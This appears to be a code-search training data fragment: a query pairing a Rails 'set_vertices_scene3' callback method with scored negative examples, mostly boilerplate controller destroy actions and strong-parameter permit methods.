"def destroy\n # if authorise(request)\n operation = params[:operation]\n case operation\n when 'remove_vertex'\n delete_vertex(params[:id])\n when 'disconnect_vertex'\n delete_connection(params[:from_vertex_id], params[:to_vertex_id])\n else\n render json: { status: 'FAILED', message: 'Operation does not exist' }, status: :bad_request\n end\n # else\n # render json: { status: 'FAILED', message: 'Unauthorized' }, status: 401\n # end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @vertex.destroy\n\n respond_with(@vertex, location: vertices_url, notice: 'Vertex was successfully destroyed.')\n end",
"def destroy\n @svgpost = Svgpost.find(params[:id])\n @svgpost.destroy\n\n respond_to do |format|\n format.html { redirect_to svgposts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @geometry.destroy\n respond_to do |format|\n format.html { redirect_to geometries_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sphere = Sphere.find(params[:id])\n @sphere.destroy\n\n respond_to do |format|\n format.html { redirect_to(spheres_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cube.destroy\n respond_to do |format|\n format.html { redirect_to cubes_url, notice: 'Cube was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @method3 = Method3.find(params[:id])\n @method3.destroy\n\n respond_to do |format|\n format.html { redirect_to(method3s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @advert3.destroy\n respond_to do |format|\n format.html { redirect_to advert3s_url, notice: 'Advert3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rice3.destroy\n respond_to do |format|\n format.html { redirect_to rice3s_url, notice: 'Rice3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @texture = Texture.find(params[:id])\n @texture.destroy\n\n respond_to do |format|\n format.html { redirect_to textures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voxel.destroy\n respond_to do |format|\n format.html { redirect_to voxels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene_of_action.destroy\n redirect_to scene_of_actions_url\n end",
"def destroy\n @sphere.destroy\n respond_to do |format|\n format.html { redirect_to spheres_url, notice: 'Sphere was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shouldersbicepshome3.destroy\n respond_to do |format|\n format.html { redirect_to shouldersbicepshome3s_url, notice: 'Shouldersbicepshome3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_asset = ClientAsset.find(params[:id])\n client_name = @client_asset.client_name\n @client_asset.deleted = true\n @client_asset.deleted_at = Time.now\n @client_asset.save\n #@client_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to client_assets_url, notice: \"#{client_name}'s asset was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @french_scene.destroy\n respond_to do |format|\n format.html { redirect_to french_scenes_url, notice: 'French scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = Asset.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @s3_image = S3Image.find(params[:id])\n @s3_image.destroy\n\n respond_to do |format|\n format.html { redirect_to s3_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @part_three_predict = PartThreePredict.find(params[:id])\n @part_three_predict.destroy\n\n respond_to do |format|\n format.html { redirect_to part_three_predicts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mp3.destroy\n respond_to do |format|\n format.html { redirect_to mp3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @s3image.destroy\n respond_to do |format|\n format.html { redirect_to s3images_url, notice: 'S3image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spatial_coverages = SpatialCoverages.find(params[:id])\n @spatial_coverages.destroy\n\n respond_to do |format|\n format.html { redirect_to spatial_coverage_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if autenticacion == \"admin\"\n @personaje_sf3 = PersonajeSf3.find(params[:id])\n @personaje_sf3.destroy\n\n respond_to do |format|\n format.html { redirect_to(personaje_sf3s_url) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n @on_stage.destroy\n respond_to do |format|\n format.html { redirect_to @on_stage.french_scene, notice: 'Appearance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storage = @client.storages.find(params[:id])\n @storage.destroy\n\n respond_to do |format|\n format.html { redirect_to client_url(@client) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @record = Asset.find(params[:id])\n @record.trash\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flat_stage.destroy\n respond_to do |format|\n format.html { redirect_to flat_stages_url, notice: 'Stage was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset = Asset.find(params[:id])\n @asset.destroy\n\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset = Asset.find(params[:id])\n @asset.destroy\n\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset = Asset.find(params[:id])\n @asset.destroy\n\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset = Asset.find(params[:id])\n @asset.destroy\n\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @postnew3.destroy\n respond_to do |format|\n format.html { redirect_to postnew3s_url, notice: 'Postnew3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @snapshot.destroy\n\n respond_to do |format|\n format.html { redirect_to(snapshots_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @c_asset = CAsset.find(params[:id])\n authorize! :destroy, @c_asset\n @c_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to c_assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @linea_uv.destroy\n respond_to do |format|\n format.html { redirect_to lineas_uv_url, notice: 'Linea uv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_asset.destroy\n respond_to do |format|\n format.html { redirect_to client_assets_url, notice: 'Client asset was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bicepstricepshome3.destroy\n respond_to do |format|\n format.html { redirect_to bicepstricepshome3s_url, notice: 'Bicepstricepshome3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stage.destroy\n respond_to do |format|\n format.html { redirect_to stages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @srticle.destroy\n respond_to do |format|\n format.html { redirect_to srticles_url, notice: 'Srticle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cloud.delete\n respond_to do |format|\n format.html { redirect_to clouds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset.destroy\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset.destroy\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset.destroy\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset.destroy\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset.destroy\n respond_to do |format|\n format.html { redirect_to assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene_connector.destroy\n respond_to do |format|\n format.html { redirect_to scene_connectors_url, notice: 'Scene connector was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vechicle.destroy\n respond_to do |format|\n format.html { redirect_to vechicles_url, notice: 'Vechicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @voxel = Voxel.find(params[:id])\n @voxel.destroy\n \n respond_to do |format|\n format.html { redirect_to voxels_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stage.destroy\n render json: {message: 'Etapa Excluida'}, status: :ok\n end",
"def destroy\n @polygon = Polygon.find(params[:id])\n @polygon.destroy\n\n respond_to do |format|\n format.html { redirect_to polygons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user3.destroy\n respond_to do |format|\n format.html { redirect_to user3s_url, notice: 'User3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pdf3 = Pdf3.find(params[:id])\n @pdf3.destroy\n\n respond_to do |format|\n format.html { redirect_to(pdf3s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @gethotelstaticdatagd = Gethotelstaticdatagd.find(params[:id])\n @gethotelstaticdatagd.destroy\n\n respond_to do |format|\n format.html { redirect_to gethotelstaticdatagds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @transplice.destroy\n respond_to do |format|\n format.html { redirect_to transplices_url, notice: 'Transplice was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @transform.destroy\n respond_to do |format|\n format.html { redirect_to transforms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @arthicle.destroy\n respond_to do |format|\n format.html { redirect_to arthicles_url, notice: 'Arthicle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plane_photo = PlanePhoto.find(params[:id])\n @plane_photo.destroy\n\n respond_to do |format|\n format.html { redirect_to plane_photos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sf_sobject = Sfsync::Sobject.find(params[:id])\n @sf_sobject.destroy\n \n respond_to do |format|\n format.html { redirect_to sf_sobjects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asset = Resource.find(params[:id])\n @asset.destroy\n respond_to do |format|\n format.html { redirect_to admin_resources_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visual.destroy\n respond_to do |format|\n format.html { redirect_to visuals_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, *data, &block)\n map(path, R3::DELETE, *data, &block)\n end",
"def destroy\n @car3.destroy\n respond_to do |format|\n format.html { redirect_to car3s_url, notice: 'Car3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kv.destroy\n respond_to do |format|\n format.html { redirect_to kvs_url, notice: 'Kv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n @dimgeom = Dimgeom.find(params[:id])\n @dimgeom.destroy\n\n respond_to do |format|\n format.html { redirect_to dimgeoms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ol3_vector_style.destroy\n respond_to do |format|\n format.html { redirect_to ol3_vector_styles_url, notice: 'Ol3 vector style was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game_object_datum = GameObjectDatum.find(params[:id])\n @game_object_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to game_object_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testfile.destroy\n respond_to do |format|\n format.html { redirect_to materials_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inventory_snapshot_content.destroy\n respond_to do |format|\n format.html { redirect_to inventory_snapshot_contents_url, notice: 'Inventory snapshot content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @three60.destroy\n respond_to do |format|\n format.html { redirect_to edit_admin_good_url(@good, anchor: \"three60\") }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend"
] | [
"0.76638055",
"0.7407991",
"0.731544",
"0.72432125",
"0.7113815",
"0.70814997",
"0.70529634",
"0.70463",
"0.69181985",
"0.679274",
"0.6759311",
"0.6703038",
"0.6695807",
"0.6664102",
"0.65939665",
"0.6548531",
"0.65463",
"0.65247935",
"0.6513129",
"0.6510034",
"0.6486724",
"0.6456707",
"0.64411813",
"0.6439772",
"0.64395344",
"0.64084065",
"0.6402286",
"0.6383629",
"0.63815266",
"0.63497233",
"0.6345707",
"0.633228",
"0.63243574",
"0.63102794",
"0.6309997",
"0.6300633",
"0.6278459",
"0.62703794",
"0.6236296",
"0.62094796",
"0.6201761",
"0.618028",
"0.61737686",
"0.61687875",
"0.61601585",
"0.61488473",
"0.61466205",
"0.6143037",
"0.61371046",
"0.61229604",
"0.6119972",
"0.6119972",
"0.6100075",
"0.60914457",
"0.6091443",
"0.6085852",
"0.6085852",
"0.6085852",
"0.6085852",
"0.6085783",
"0.6077532",
"0.6068317",
"0.6056363",
"0.6051461",
"0.6049619",
"0.6048497",
"0.60360724",
"0.6031942",
"0.6030184",
"0.60292053",
"0.60292053",
"0.60292053",
"0.60292053",
"0.60292053",
"0.6027217",
"0.6018568",
"0.6014763",
"0.6010858",
"0.6006451",
"0.6004098",
"0.6002383",
"0.5999785",
"0.5999117",
"0.59982896",
"0.5996202",
"0.5986426",
"0.5984804",
"0.59806186",
"0.5979213",
"0.5974584",
"0.59735954",
"0.59708256",
"0.597",
"0.5965649",
"0.59634864",
"0.5955193",
"0.5946604",
"0.59406966",
"0.5940259",
"0.5933326"
] | 0.8029167 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_vertices_scene3
@vertices_scene3 = VerticesScene3.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def vertices_scene3_params
params.require(:vertices_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
